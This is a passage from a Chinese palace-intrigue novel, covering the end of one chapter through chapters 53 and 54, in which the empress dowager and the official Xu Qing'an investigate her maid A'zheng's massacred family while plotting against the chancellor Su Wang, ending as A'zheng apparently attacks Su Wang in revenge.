“对啊。”徐卿安叹声说,“然而这也是早有预料之事,毕竟臣已确定了自己的立场,可不就成了有些的人眼中钉、肉中刺了。” 见她装作没看见他故显在目中的无奈与戏谑,徐卿安挑了挑眉,继续道:“臣也实在想不明白的是……为何在计划未曾暴露的情况下,苏相那边还是不留余地地对娘娘下了手?莫非……” 他微微转头,抬眸向阿筝的房间瞧了一眼。 “或许与阿筝有关。”上官栩也没打算做隐瞒,她今日叫他来,本就是要说阿筝的事,“阿筝记忆恢复了些,她说当年害她全家之人是苏望。” “是苏望派人灭了她家满门。” 徐卿安眼皮骤然掀一下。 难怪她今日态度会这样冷,毫不忌讳地在他面前直呼苏望大名。 徐卿安平声静气道:“所以,她的身份在苏相面前暴露了?而苏相又想斩草除根,这才有了之前发生的那些事情?” 先是发现该死的人没死,还被上官栩带在了身边,那么为了防止秘密外泄,苏望首要之事就是杀了阿筝,而上官栩和她相处这么久就算她并没有发现什么,但对于他来说也是一种挑衅和潜在的威胁,故而上官栩他也不会放过,只是之前他本欲对上官栩的打压算计被上官栎阻挡下了。 如此,诸事都说得通了。 上官栩只道:“对了,之前我和你说过的,和阿筝相识的那个船商,你再审一审。” “如今想来,他对阿筝动手的目的应该和对你的不一样,他对阿筝动手应该是有苏望的授意,而他应该也知道一些阿筝往事,所以我想你帮我做一件事。” 她凝望过去,与他黑明的眼眸对上:“你帮我查一查阿筝的身份底细。” 徐卿安侧了下头:“我帮娘娘查?娘娘手底下不是有一批探子么?” 上官栩道:“如今阿筝身份已经暴露,苏望一定会关注着我的一举一动,若由我的人出手,恐怕会受到诸多阻挠。” “那丰王殿下呢?” “他与我同理,上次阿兄的事他已经帮过我,苏望也一定会对他多加防备,所以现在调查阿筝身份只有你最适合。” 上官栩目光希冀道:“我知道,你一定有法子,不管你是要专为此事网罗人手也好,还是你本就有其它渠道也好,此事过程中,你缺什么我都可以援助你。” 她又补充道:“虽然她现在已经想起来了一些往事,然而她到底几时能够恢复全部记忆还是未知之数,可苏望却已经因为她要对我下死手,所以我现在急需知晓她与苏望之间到底有哪些恩怨纠葛,如此,方能在与苏望周旋时提前谋得良策,避免被动。” 她言语恳切无比,看起来当真想促成这一合作。 然而徐卿安沉吟片刻后只道:“我能否先问娘娘一个问题?娘娘此举到底是意在帮阿筝脱险,还是只是想着增加自己手中与苏相应对的筹码?” 见她面泛疑惑,他勾了勾唇,解释道:“若是是后者,臣便不觉得娘娘的法子是最好的法子,最好的法子当是……”他在她的注视下,字字咬字清晰,“娘娘将这位阿筝娘子交到苏相手上,并告诉他您与阿筝的过往种种不过都是因您遭了蒙蔽,如今知晓他们二人有旧怨,所以您亲手将她交出,表示对他们之间的事绝无干涉之心,如此诚心,或能得苏相几分宽宥。” “而这样一来,娘娘也有时间去查自己想查之事,反正现在阿筝已经她的身世线索告诉娘娘了,后续娘娘若想深挖她的身世用来作文章,有没有她其实也都不重要,不如借她身后去缓和您和苏相之 间的关系,也算行了出缓兵之计了。” 上官栩神色渐渐从疑惑转变为诧异,她蹙了眉,她觉得他实在无情,亦再次见识到了他的狠毒。 她观他面部神色,虽带着笑,但却觉得他全脸上下唯一搭的上一个暖字竟是他脸颊上的那抹伤红。 然而却又因当下有求于他并不好发作,上官栩只笑着压了压,说道:“徐卿此言是否太过天真?” “我将阿筝交出去示弱,就能减少他对我的忌惮?他已对我起过杀心,我的兄长也因他入了狱,甚至差点丢了性命,这样的事情已经发生,你觉得他真会因为一个阿筝就对我放下心,就认为我会对以往之事当作从未发生?” 说到这里,她深呼吸一次,想起他之前曾说过的一些话,做过的一些事,心想如他这样的人或许并不需要所谓的亲情、友情吧。 她便在他的角度又补充了几句:“而且我想知晓阿筝身世也并非只是为了让自己不被动,反而是想找一个能主动出手的契机。你想,他派人灭阿筝满门,自然是因为阿筝家里人掌握能够威胁到他的秘密,那如果这个秘密被我们挖了出来,是否以后我们与他相争时就占了上风,而你我合谋之事,你的青云之志也能借此快速达成?” 徐卿安垂眸一瞬,再抬眼:“所以呢?臣刚才所问的,娘娘更偏向于哪一个?” 他问的,是她查阿筝身世到底是为了帮阿筝脱险,还是为了增加自己手中的筹码。 上官栩原以为她扯上了他的青云志,他就会答应帮她,却没想到他还执着于这个问题。 她只能答道:“都有。”又担心他的追问是因为他还考虑着将阿筝直接交出去的那个想法的可行性,便又立马补充道,“而且阿筝已是孤女,我不能再欺负她了。” 徐卿安静深的眸子望了她片刻。 他道:“好,娘娘所托,臣一定尽力而为。”说着,他轻轻笑了笑,“其实娘娘不必与臣说那么多,只要最后告诉臣您的答案就行了,阿筝既是娘娘看重的亲近之人,我定会帮娘娘看护好她。” 上官栩反应了一阵,没想到竟是这个理由说服了他。 徐卿安并未察觉她的诧异,只兀自安排道:“至于娘娘所说的,调查过程中对臣的援助……事情还没开始,臣也不清楚会遇到哪些问题,便等需要时臣再来寻娘娘吧。” 话落,荀阳和太医也先后从里间走了出来。 荀阳拱手道:“阿筝娘子的情况稳定下来了,殿下不必再担心。” 上官栩问道:“为何近日阿筝的伤情总是反复,明明之前已经好得差不多了,最近精神却又明显虚弱了下来。” 自今晨,阿筝向上官栩说完她回忆起来的往事后,她便又昏昏沉沉地睡了过去,甚至唤都唤不醒,又因她此前用过荀阳给的药,让荀阳施过针,所以太医来时害怕药物相冲,也就不敢给阿筝多施药剂,只缓着她的不适,再建议上官栩将荀阳请来诊治。 荀阳:“大概是近日想得太多,耗了些精气神,再加上之前受了重伤,一时间身子骨就支撑不住了。不过草民刚已施了针,为她安神宁心,让她身子能够缓下劲,也将之前给阿筝娘子药的药方告知了太医,太医到时按方定药,也就不必担心药物相冲了。” 太医也道:“是娘娘,荀大夫已将治疗阿筝娘子失忆之症的法子倾囊相授,臣之后也能及时对阿筝娘子的症候进行诊治疗养。” 上官栩闻言是有些惊讶的,毕竟医术这块的东西都是各家各派代代研究,视作不传之秘的立门立派的法宝,如今荀阳竟能慷慨授人。 她自然对荀阳生了感激,然而转念又一想,荀阳与徐卿安关系密切,他这般态度是否也有徐卿安有关?毕竟徐卿安刚才说了,她看重的亲近之人,他定会相护。 不过现在也不是想这些的时候,她先向荀阳道了谢,然后再嘱咐太医此后要对阿筝的情况多加看顾。 “娘娘。”这边话一说完,青禾入殿来报,“苏大人来了。” “苏叙白?” “是。” 他来做什么? 上官栩和一旁听到这话的徐卿安同时沉默。 —— 苏尚在正殿内等候,见上官栩来时他方准备相迎,却又见她后面还跟着一个男人。 徐卿安向他见礼。 也不待苏尚开口问,上官栩便先道:“叙白怎么来了?是刚才在内朝上还有事未说完?” 苏尚笑一下道:“不是。是臣刚才见宫监去向徐大人寻大夫,心想是否是殿下身体不虞,便想着来看看殿下。” 刚才事态紧急,内宦当着这么多人的面找徐卿安请大夫,徐卿安听闻后又火急火燎地直接骑上马就纵马回府,这样大的阵仗就是想瞒也瞒不住。 上官栩如实道:“不是我,是阿筝。她身体出了些状况,恰逢徐卿家中有位能对症治疗的大夫,这才让他帮忙请进了宫里。” 苏尚向徐卿安看去,徐卿安微一扬眉,对他淡淡一笑。 苏尚垂眸,又复看向上官栩:“阿筝的病情就这么复杂么?竟连宫里的太医都束手无策,现在情况如何了?臣也认识几位圣手,不如臣也将他们请来,让他们为阿筝娘娘好好看看。” 上官栩:“不用了,徐卿家中的那位大夫已经帮阿筝将病症稳定下来了。” 徐卿安忽而在这时道:“对了娘娘,刚才子阳虽将他先前施下的药方告知了太医,但医术一道上,光知道药方应该还不够,待臣回去之后,臣让他将其中医理,和对于阿筝娘子的病症各阶段该如何调养全数写下来,到时臣再呈给娘娘,也好让太医们了解子阳之前所用的方法,好配合着去帮阿筝娘子疗养身体。” 子阳,是荀阳的字。 上官栩稍侧头向他:“好,你给我之后,我再转交给太医便是。” 徐卿安含笑应声。 苏尚在一旁看着,兀自冷了脸。 —— 苏尚此番来也无大事,上官栩自也不会多留他,荀阳那边也都交代完了,几人便差不多一起离的宫。 离开前,苏尚还是执着地与上官栩再说了几句话,故而走到殿外时,他与徐卿安的距离差了几个身位。 微风拂过,苏尚只觉一股熟悉的香气从前袭来,沁入鼻中。 转过拐角时,他瞧见了腰身上的那一个香囊,就是他早前在内朝上注意到的那一个。 他目光凝了凝,抬眸叫住了走在前面的人。 “徐大人。” 徐卿安应声驻足回眸。 苏尚与他对视一眼后,目光落回到那腰间的香囊上,问道:“徐大人近日佩香囊了?” 徐卿安随着他的视线,眼一垂,随性“哦”了声,笑着道:“是啊。”他将自己腰间的香囊捧了捧,“佩了有一阵了。” 苏尚奇怪道:“我记得徐大人以前似乎没有这个习惯?” “嗯。”徐卿安承认道,“以前没什么特别喜欢的香,所以都不佩香囊,但这是太后娘娘赏的,我自然就不能辜负了娘娘的恩典。” 苏尚眼底的光暗了暗,沉吟道:“这可是兰香?” 徐卿安夸张惊讶道:“苏大人这么厉害!这都能闻出来。确实是兰香,看来苏大人也是识香之人啊。” 他扬着笑,慷慨道:“苏大人可喜欢这香?正好太后娘娘赏了我许多,不如我去向她求个赏,让她允我将那香分与苏大人一部分,毕竟太后娘娘赏的香应当是极好的,苏大人也可佩着用一用。” “不用了。”苏尚偏过头,看向远处,冷冷道,“我不太闻得兰香。” “哦……那真是可惜了,苏大人闻不得兰香,可太后娘娘却独爱兰香。”徐卿安垂眸,满是遗憾。 苏尚不禁蹙眉回头:“不是吧。”他扯着唇角,泛起笑,不甘落下风,“据我所知,殿下喜欢的香可不少,而芍药花香应才是她的最爱。” 徐卿安神情自若,温声回:“是啊,然而用在自己身上的,和喜欢从其他地方闻到的,终归不一样嘛。” 他意有所指,苏尚的脸更黑了。 第53章 徐卿安回府后将他在殿中说好的写方子的事告诉了荀阳,荀阳点点头,直接应好。 徐卿安笑:“果然是你,对这些事情一向干脆。” 荀阳知道,徐卿安指的是他对自己的医术慷慨授人的事情。 荀阳:“医者嘛,当以救人为先,其它的都是小事。”说完,他又傲娇道,“再说了,这医道呢还是讲究一个合理运用,反正法子就那么多,就算我不讲,他们去医书上也能翻出来,然而这知道法子,和会用法子又是两回事,而我的医术厉害就厉害在会用法子上,这可不是别人想学就能学得会的。” 徐卿安摇头失笑,配合道:“行,五岩山上不仅有个须神医,还有一个荀神医。” 荀阳毫无谦虚:“诶,对咯,就是这个说法,中听。” 张凡也来了徐府,徐卿安和荀阳说完话后便去了书房找他。 “张公。” 青年声音清润入耳,张凡连忙从座位上起身,欲向他行礼。 徐卿安快步上前,抬手将他止住。 “张公莫要多礼。” 张凡便停下动作,也将口中本欲说之话咽了下去,转而又将目光落在了那一抹刺眼伤痕上。 他道:“今日上朝时才知郎君遭遇了刺杀,又见郎君脸上带了伤,着实后怕得捏了把汗,郎君其它地方没什么大碍吧?” 徐卿安笑了笑,宽慰道:“没有大碍。”他指尖在伤痕旁点了点,“就这一处失了神,结果恰好就失在了脸上,让张公担心了。” 张凡适才松一口气。 其实他再严重的情形都见过,当年浑身是血的周景知被扶上他的马车时,虚弱无比,都不能说是昏沉,简直就像是人将死之前那样,目中空泛,口中少有进气,唯声声出气声交替,也只顷刻间,本熏着檀香的车厢就被血腥味覆盖。 张凡记得,若非当时他一直说着皇后如何如何,宫中安危未定,恐怕连那口气他都给他吊不住。 也正是因为见过这样的场景,所以张凡才再听闻昨日刺杀之事后甚为胆战心惊,唯恐四年前的事再现。 张凡缓声道:“那郎君对刺杀的人的身份可有头绪?” “嗯。”徐卿安点头,“其实我已将人控制住了。” 他对张凡并不设防:“是江南的那几家船商,不过虽是他们主使,但背后真正激出他们这个想法的应该是苏望。” “又是苏望……”张凡暗暗切齿,又问,“那郎君将人扣下是有何打算么?” 徐卿安道:“我原想的,是要借江南之事对苏行正动手,结果刚好那几个船商就送上门来,我自然就要好生利用一番了。” “我先将京城之中有人行刺朝廷命官的消息发散出去,让事态扩大,不让他们之后有转圜的机会,然后在船商身上挖出尽可能多地有利于扳倒苏行正的证据,否则这人进了京兆府,到底能让他们说出多少事就不一定了。” 张凡点头:“如此一来确实能够保证对苏然的一击即中。那不知郎君审得如何?” 徐卿安垂眸:“差不多,扳倒苏行正足够了。” 张凡:“看来一切顺利,接下来只要设计好,将他们交由京兆府就行了。” 徐卿安安静了片刻,他往杯盏中续了茶水,端起来细细品了一口。 “还不急……太后那边还让我帮她查一件事情。” 张凡抬目,以为自己恍惚间耳朵出了问题,他轻声确认:“太后?” “嗯。”徐卿安依旧垂眸喝着茶水,“她想让我帮她查一查她身边那个侍女阿筝的身世。那侍女以前可能与苏望有牵扯,所以我也想看看能不能从中挖出些什么。” 张凡不解:“可是她为何会让您来查?毕竟调查身世一事绝非是仅靠审讯就能完成的。” 徐卿安:“因为阿筝的身世已经在苏望面前暴露了,若由她的人出手,恐怕会被苏望察觉。” 张凡担忧道:“只是这样一来,岂非郎君的势力也会被她洞悉?” 徐卿安沉吟:“她应该已经察觉到了些,不然她也不会向我求助,不过她已说过,在调查阿筝身世一事上,我若缺什么都可向她索要,这样我也好找法子遮掩过去吧。” 说着他终于放下茶盏,向张凡宽慰笑道:“张公放心,我已想好应对之策,而且我也想知道,苏望背后到底做了哪些腌臜事,说不定能定死他罪状的证据在其中。” 张凡闻言,知他早已敲定主意,便也明白多说无益:“郎君有打算就好。” 只是真的只是为了找苏望的证据么? 徐卿安送了张凡出门,晚风拂过,他蓦地长叹一声,又摇摇头,自嘲笑了笑。 —— 苏尚回了苏府,进了自己卧房所在的院落后,就见苏然坐在凉亭下的石凳上等他。 “五哥。”苏尚走近后唤道。 苏然转过头,向他招手道:“七郎回来了,快来尝尝这刚送来的时令水果。” 苏尚走过去,撩袍坐在了苏然旁边位置上:“五哥等我是有事要与我说?” 苏然笑:“果然什么事情都瞒不过你。不过也不是我要与你说事,是叔父让我代为转达,顺便问问你的意思。” 苏尚:“又是成婚的事?” 苏然瞬间哑声,又失笑:“看来我这关子卖得不行。” 苏尚没有如往常般打趣,只沉着脸,挑了一抹笑回应道:“近几年,哪次来催我不是派五哥来,而五哥也是一如既往地带着时令的水果,说着同样的话术,如此章程,下一次恐怕五哥不开口,我也能猜出五哥是为何事而来了。” 苏然见他面色不虞,温声问道:“怎么了?进宫一趟是遇到什么不快的事了?” “没有。”苏尚淡声,“她一切都好,叫的大夫也只是为了她身边的那个侍女。” 苏然笑一下:“你呀,总是这么关心她的事,现如今还是多关心你自己的人生大事要紧。” 苏尚:“五哥不也没成亲,为何就急到我的头上?” 苏然扬眉,丝毫没有因被话头抵了而有不悦,依旧和颜道:“这能一样么?你以后是苏家家主,当然你的事情更重要些。”他叹,“到底是我没给你做个好榜样,而这些细腻的话也还是应当由你阿姐来说更合适,只是她现在嫁到了上官家,不常回府,就管不到你了。” “上官家。”苏尚喃喃,“若是当年阿爹在谈阿姐婚事时也想到将我的婚事一并谈了,现在五哥也就不用一直头疼来劝说我了。而她若为我夫人,我与阿姐之间亦是亲上加亲,不是比当下情况更好么?” 苏然知道苏尚的遗憾,只能宽慰:“再好,如今也不可能了。她早已是别人的妻子的了。” 苏尚目露偏执:“对啊!本是不可能的,可是她的夫君已经死了。” 苏然终是被他此刻的痴狂惊讶到:“你、你还没明白么,你们之间横亘的根本就不是这些,而是她如今的身份……你还是不要想那些了。” “阿爹都能对皇帝动手,我肖想一下太后怎么了?” “阿尚!” 苏然骤然色变。 苏尚与他对视几息,终是垂下眸,掩下不甘道:“在家一时太过散漫,考虑不周,是我失言了。” 可是他不信,他当年敌不过那个人,难道现如今也敌不过一个宵小之徒? 既然你能够走出来,那凭什么是他,不是我。 —— 次日夜间,徐府院侧小门被开启,上官栩穿了一身斗篷,披着夜寒而来。 她由徐卿安带入了徐府的书房内。 “是何事偏要让我到这里说?”进入房内,上官栩脱了兜帽,转身后直接问他。 徐卿安正色凝眸道:“娘娘说的阿筝娘子的那位故人当真在那几人之中么?” 上官栩肯定:“自然,这是阿筝亲口与我说的。” 徐卿安:“那娘娘可是亲眼见过被抓的那几个人?” “没有。”上官栩如实道。 当日,她离开上官府时才知晓那几人被抓到的消息,也是她一 知道后她便直接改道来了徐府,期间再并未去过其它地方,况且那时她本也没必要去见那几人。 徐卿安道:“那看来娘娘也不知道到底抓了多少人了。” 上官栩不语,因她当时只确定了人是否都抓齐了,倒未曾过问过到底有多少人。 她道:“只听说为首的有两个人。” 徐卿安:“对,然而问题就出在这里。原先江南水运的格局是三足鼎立,但那日来杀臣的却只有其中两家家主。” 上官栩沉吟:“莫非,阿筝说的故人是没有参与进来的那个人?” “若阿筝没有认错,那结果当是这样。可是那个人为什么没有参与?”徐卿安自问自答道,“我已审过其余两人,他们说在欲行杀我之事前,他们曾找过那人,然而那人早已不见了踪影。” “娘娘,你说有没有一种可能,那人要杀阿筝,但也因他认识阿筝的缘故而给自己招来了杀身之祸?” 灭门惨案…… 上官栩骤然醒神:“这事不能再拖了,你不是要对付苏行正么?那几人既然审得差不多了,明日就将他们送去京兆府!” 徐卿安静静地听着,轻轻应了声好。 “还有娘娘,臣这次请您至府上来就是因为还有件想亲自交给你,但臣又带不进宫里。” 他从袖中取出一把匕首递过去。 “娘娘您看,这匕首制式您可认得?” 上官栩垂眼,又伸手将接过。 匕首的刀鞘是由硬木制成,表面打磨精细,但花样并不繁复,最外还贴了一层牛皮,两端嵌了一圈金属鞘头和鞘尾,这样简洁实用的设计当是军中之物。 上官栩对着刀鞘来回看了看,突然上手握住刀柄,拉出了刀身。 “是赵军的兵刃!” 根据刀身上的图腾来看,准确地说是赵王亲卫的兵刃。 徐卿安轻嗯:“这是我从失踪的那人卧房中找出来的。” “按理说,他是江南人,一直在江南做生意不说,他也没有任何军方的背景,更何况赵王是宗亲,封地还在北边,他们就更难搭上关系。” 上官栩对着匕首再仔细看了看,道:“这匕首刀身虽无破损,看起来崭新,但看着这外面缝隙间的灰尘,应是有些年头了。” “而且自四年前,陛下过继之后,赵王膝下没了子嗣,王爵也跟着封存,所以这匕首至少是四年前的物件。” 上官栩抬眸:“也就是说四年前,那个人就和赵军中的人搭上了关系。” 徐卿安上前,覆上她的手背将刀身收回鞘中:“这事可能和阿筝有关。阿筝会武,他又和阿筝家中的人相识,后面调查阿筝身世或可往赵军那个方向探查。” 上官栩目光落在他覆下的双手上,她将匕首若无其事地向前推了推,将匕首送到他手中后,手又往后一抽,就将自己摘了出来。 徐卿安手空了瞬,待反应过来向下看去时,她的手已经收回到了身前。 他干脆将匕首竖握,拿在了身侧。 上官栩转过身道:“你的想法有道理,便按你说的来吧,反正查阿筝身世的事我已尽数拜托给你了。” 徐卿安垂眸,说不出是自嘲还是什么情绪地笑一下:“好,那我明日就安排人去办。” —— 翌日,刺杀朝廷命官的罪魁祸首全部被京兆府抓获,而这几人为非作歹的证据,徐卿安在这几日的配合调查中也掌握了许多,便也一并交给了京兆府。 故而刺杀案的进展尤为顺利,但让人惊讶的却不是这幕后主事的身份,而是这群人身后牵扯到的人和事。 杀人总有个理由,这群人的理由就是徐卿安挡了他们挣钱的路子,然而徐卿安身为京城官员,他们生意却在江南,如何能够阻挡? 据他们承认,是有人告诉他们,他们商路受阻全拜徐卿安所赐,所以他们一时咽不下这口气才行了歹事。 而告诉他们那事的人就是当今的御史中丞,苏然。 除此以外,他们还供认他们近几年来和苏然有交易,也就是说,之前江南囤货一事并非如苏氏澄清的那样与他们毫无关系,相反,苏氏还极有可能是那事的操纵者之一。 事情一出,不仅朝廷,就是民间也起了一阵浪。 苏然被传唤至京兆府问话,对于那两个船商的指控他当然不认。 苏然道,不过是他们的一面之词,凭什么就能定他一个御史中丞的罪?况且他们给出的证据,不过就是他们几家的账本,账本中钱财的流向也从未有一项是直接往他或是苏家去的。 再者说,江南水运原是三家船商分占市面,之前那事情也是三家一起出的问题,要指证也是一起指证,为何现在出面的却只有两家? 苏然甚至反诉,说这两家突然就这样攀咬他,定是因为受了其它人的指使污蔑于他。 果然,上官栩担心的事还是发生了。 从她听说阿筝认识的那个船商不见踪影时,她便对苏望的打算有了猜测,他借船商的手杀徐卿安,又借另一个阿筝故人脱罪,杀了他,既是死无对证,也是一举两得。 内朝议会上,针对此事又吵了一通,然而终究苦于实际性的证据,上官栩不得不松口,让京兆府问询之后不得对苏然扣留。 内朝散去,徐卿安离开时走在队伍最前侧。 “你在害她,你不过只是为了你的野心。” 身后蓦地传来清冷而压制愠意的声音,徐卿安停下,侧过身回头。 苏尚走到他身旁继续道:“你想要的,我苏氏都可以给你,但你必须给我离她远些。” 徐卿安轻笑:“你凭什么说是我在害她,又凭什么说只是我的野心。苏大人当真知道她想要的是什么么?” 苏尚定定看他几息,慢慢往身后乜去。 殿中高座旁,她侧身而立,目光同样向他投来。 徐卿安亦幽幽往后抬眼。 殿门处,风过即停,唯人影微动。 第54章 苏然的事比预料得要棘手。 苏氏此前和船商的交易做得隐秘,他们不会接手船商给出的“孝敬”,而是会直接示意他们将钱财流往哪里,直接打点到需要打点的地方去,这也就是为什么那两家船商给出的账本对指控苏然的作用并不大。 徐卿安原本预备的那些证据现下虽还未交出去,但也因那个船商的消失而丧失了部分作用,因为这样涉及到双方交易的证据,就算再过齐全,也需人证或物证的对峙,然而那个人和他的账本都早已不知所踪。 且苏然的事情虽被搁置下来,但船商家主刺杀朝廷命官的一事却是证据确凿,这事朝堂上有人在催着结案。 这夜,上官栩与徐卿安私下见面时,徐卿安说道:“看来那个船商的账本不在苏氏手中,不然他们应当就船商“污蔑”一事做文章,而不是让人催着将刺杀案结案。” “你之前应当去过那人的住处搜过吧,但也没找到账本。” 上官栩想,徐卿安曾拿了把匕首来,那他当是去过那人住处了。 徐卿安点头:“是,而且看屋中摆设,在臣去之前应该就有人去搜过,且去者目标明确,就是为了找账本。” 上官栩:“所以账本不在那人房中。” 徐卿安:“也许在他身上。” “在身上?杀了他不搜身?” “若是搜不了呢?” 上官栩沉默。 徐卿安再道:“若是那个人死的地方不对,又或者不是死了而是下落不明,那是不是就没办法搜身了?” 上官栩转身,寻了个位置坐下:“但这也只是你的猜测,那东西若还找不到,苏行正这次可就能把事情翻篇了,到时候再想对付他可就得想其它法子了。” 徐卿安跟随上前:“这事现在看起来是挺急切的,然而急也急不来,臣虽有那三家和 苏行正来往的证据,但现在差了一家的账本,就给了苏行正钻空子的可能,所以那东西臣现在也不敢轻易交出。” 上官栩也心知这种事情宁可放过,也不可急来出错。 “那便先去查那个船商的下落吧。” 其实徐卿安还有一个法子可用——那夜在狱中,刘昌告诉他的工部前任尚书侍郎被陷害的各项证据他早已搜集好,只要拿出去就可定苏然诬蔑朝廷命官之罪。 然而这也实在冒险。 毕竟当年之事她也参与其中,若他提出用这法子,她会不会答应尚未可知,恐怕她还会怀疑他的用心,届时她若再与苏望站在一道,那么这么久以来的布局恐将全部付诸东流。 白日里,徐卿安独自坐在书案前想着这些事轻叹一息。 正在左右为难之际,家仆突然来报。 “郎君,府外有人想见您。” “是谁?” “她说她叫阿筝。” —— 阿筝近日身体恢复好了很多,精神也终于到了以往的七八成,就连她受伤之前每日要进行习武训练她现在也重新开始了。 上官栩来看望她时她正在庭中练剑。 见上官栩走近,阿筝收了剑,向她走去。 “这里没有外人,不必多礼。”见阿筝要行礼,上官栩连忙抬手止道。 “怎么样,见到荀大夫了么?” 阿筝出宫是找上官栩拿的令牌,她这两日恢复过后始终感觉身上还有几处地方不对劲,而太医又查不出个所以然来,所以她便自请出宫一趟,说想去寻荀阳看诊。 上官栩自是会应允的,而现在阿筝回来了,她自然也要关切一二。 阿筝抿着唇,微微一笑,颔首道:“见到了,他说没有大碍,那些反应也都是恢复过程中正常的,所以太医把脉也就没把出结果来。” “那就好。” “只是……” “只是什么?”上官栩立马问。 阿筝为难道:“只是那反应实在太让人不适,难以忍受,奴婢便向荀大夫求了缓解之法,荀大夫说若想缓解光靠药汤无用,只能行针艾之法,故而奴婢……” 出宫令牌按例用一次便得上还,虽说如阿筝这样的近侍求得一块令牌傍身不是难事,但她以前面对同样需要日日出宫的时刻时,也都是按照惯例,及时借还的。 “我明白。”上官栩听出她的顾虑,直接道,“出宫令牌便放在你那儿吧,先把身体养好再说。” “谢娘娘恩典。” —— 许是因为想起了往事,阿筝近几日对身边人格外依赖,也时常提些要求,例如想要吃什么,玩什么。 念及她身心皆才受过重创,一切又尚在恢复中,上官栩自是事事都想着照看着她,也因此近段时日,整个立政殿内气氛都欢快了许多,就像完全没有受到前朝那些事的影响一般。 就连小皇帝也被热闹吸引,时常要求加入她们一起玩乐。 这样的事传到宫外,苏尚知道后自然会多加关注,直到后面他更是干脆直接进了宫,与她们同乐。 “从阿筝四年前一到长安,我就这样看着她一点点地恢复,一点点成为殿下亲近信赖之人,她与殿下交好,我也因此与她多有接触,她的确是值得爱重的女郎,如今又见她身体各项转好,我更是为她高兴。” 立政殿内的园景中,苏尚和上官栩同坐一桌,一旁煮着热茶,茶香四溢扑鼻,二人就这般说着话。 苏尚从四年前的上巳夜之后便时常入宫,因而这次他来,上官栩也对此见惯不怪了。 只是她原以为有苏然的事情在前,他近段日子就会与她保持距离,没想到他还是来了。 又想到他与苏然关系亲近,或许会帮着苏然解决那些棘手的事情,上官栩便也觉得能将他注意力吸引过来也未尝不是一件好事。 “是啊,现下见她慢慢变好,我这些日子悬着的心也跟着放了下来。”上官栩接过苏尚为她添好茶的茶盏,抬眸向他莞尔,“而如今见她身体好转了,便也希望她心情能跟着变好,不知为什么,这些日子见她时,看她眉眼间,始终觉得她心里藏着事情。” 苏尚轻叹着宽慰:“到底是没有好全吧,毕竟也这么多年了,她当是想清清楚楚地知道,自己以前到底是谁,家人又在何处,当年究竟发生了什么。诸多疑问压在心里,心绪当是会受到影响的。” “叙白觉得,阿筝她以前的家到底是什么样的?”上官栩抬眼,目色平静地凝望向对面与她相对而坐之人,然而那眼神虽不咸不淡,语气也一如往常,但她眼底的眸色却深了些。 苏尚显然被她这话问住,无措地笑一下:“这……我倒还未细想过,虽认识阿筝多年,但她向我提及的往事却很少,不过,看她身手,猜想她家中应有武学背景吧。” 说着,他反问道:“怎么了?殿下这样问可是因为她最近想起了什么?或许是在调查路上遇到了什么难事,模棱两可,难以抉择?殿下若觉得方便,不如将此间事说一说,看我能否出一份力,帮上忙。” 瞧他说话时的神情,他当是真不知道阿筝家中发生了何事,更不知道,那为害阿筝家人的人就是他一向尊敬的父亲。 上官栩便不再多说,视线转向手中的茶盏,手指感受着杯壁温度的同时只道:“并非是遇到了难事,只是这几日看到阿筝的那些表现,便突发奇想,有此一问罢了。”她笑了笑,“帮阿筝找了这么多年的家人,找到现在,不说她,就是我,也对她的身世充满好奇了。” 苏尚颔首,从善如流道:“虽说无法完全与她感同身受,但娘娘关心她,也当是关心她的一切,说是好奇,其实也是希望她能早日得偿所愿,找回记忆,找回家人了。” “对了,阿筝呢?今日怎不见她?”说着,苏尚看了看周围,疑惑道。 上官栩也跟着环视两眼,沉吟道:“她近日身体恢复之后便如以往一样常在自己院中练武,想来现在正是她练武的时辰,便还未过来吧。” 苏尚闻言笑了笑,随口道:“果然是习武之人,这身体好了之后的第一件事就是把功夫捡起来练。” 上官栩扬了扬唇,不置可否,她向候在一边的青禾道:“阿筝不是说今日想吃饺子么,膳房那边应该包得都差不多了,你去她那儿看一看,告诉她可以过来了。” 青禾颔首应是,又见一旁的苏尚在她们说话间稳坐着,便知今日这饺子他也要吃了,遂而心中有了谱,打算这趟去寻阿筝时也向膳房打个招呼。 青禾去后,苏尚和上官栩再继续闲聊了些话。 过了大概有一刻钟,廊下有宫人踩着细碎的步伐匆匆过来。 “娘娘,京城里出事了。” 上官栩神色一凛,目光从院中移回:“什么事?” 那宫人视线飘忽一瞬,往对面苏尚的脸上看了看,这才道:“苏相公在回府路上遇了刺客……” “什么!”苏尚闻言一下就站了起来,怪不得那宫人看来的眼神有些不对劲,原是他父亲出了事。 他追问:“我阿父人如何了?可有消息?” 而问的同时苏尚又往上官栩那儿瞧了一眼,上官栩淡淡回望过去。 这事上官栩确实不清楚,她对苏望的打算从来都不是光天化日之下就夺了他的性命。 见上官栩目有疑色,苏尚也不再怀疑,只转头望向那来报的宫人。 宫人答:“据说那时苏中丞护在苏相公身边,苏相公便没有收 到伤害。” 上官栩直觉有异:“当场到底是什么情况?缘何苏公回府的路上会有刺客冒出来?” 宫人再答:“听宫外传进来的消息,那刺客似是去寻仇的,行刺前直言要苏公为其家人偿命。” 寻仇,偿命……上官栩终于意识到何处不对,她也一下站了起来。 “只有一个刺客?” “是。” “那刺客呢?可有被抓到?” “消息传来时还没有提到刺客是否被抓到,不过那刺客伤得极重,好像当场就被苏中丞刺穿了腹部,后见形势不对,带着伤往城外方向逃窜了。” 阿筝,一定是阿筝……哪怕青禾现在还未回来,上官栩也能断定,今日在城中向苏望行刺的人是阿筝。 上官栩心跳加速,胸膛起伏变得明显。 她因呼吸加快而目有晕眩,然而她还是先向苏尚道:“叙白,出了这样的事,你还是快回去看看吧,虽说苏公身体无碍,但也难保他受了惊吓,想来现下应是需要你的。” 苏尚见她脸色微白,忧忧地看她几眼,但又不知她是因何如此,况且她的提醒也不无道理,他当回去看一看才是。 苏尚点了点头,轻声道:“那我先回看看情况,待一切稳定之后我再进宫看殿下。” 上官栩挤着笑,说了好。 只是待到苏尚的身影消失在廊下拐角之后,上官栩终是没忍住地扶额趔趄一下。 那来报消息的宫人连忙将她扶住。 “娘娘……” 上官栩闭上眼,轻晃了晃头后睁眼再道:“我无事,青禾去找阿筝了,你去看看青禾回来没有。” —— 上官栩回了内殿坐下,青禾也从阿筝那儿回来了,手中还带了封信。 上官栩一边看着信时,青禾便一边对着桌上刚端来的饺子说起膳房那边的事:“膳房的宫人说,这饺子从和馅擀面到包成都是阿筝亲手做的,阿筝今晨去的很早,就想着快些将饺子包出来。” 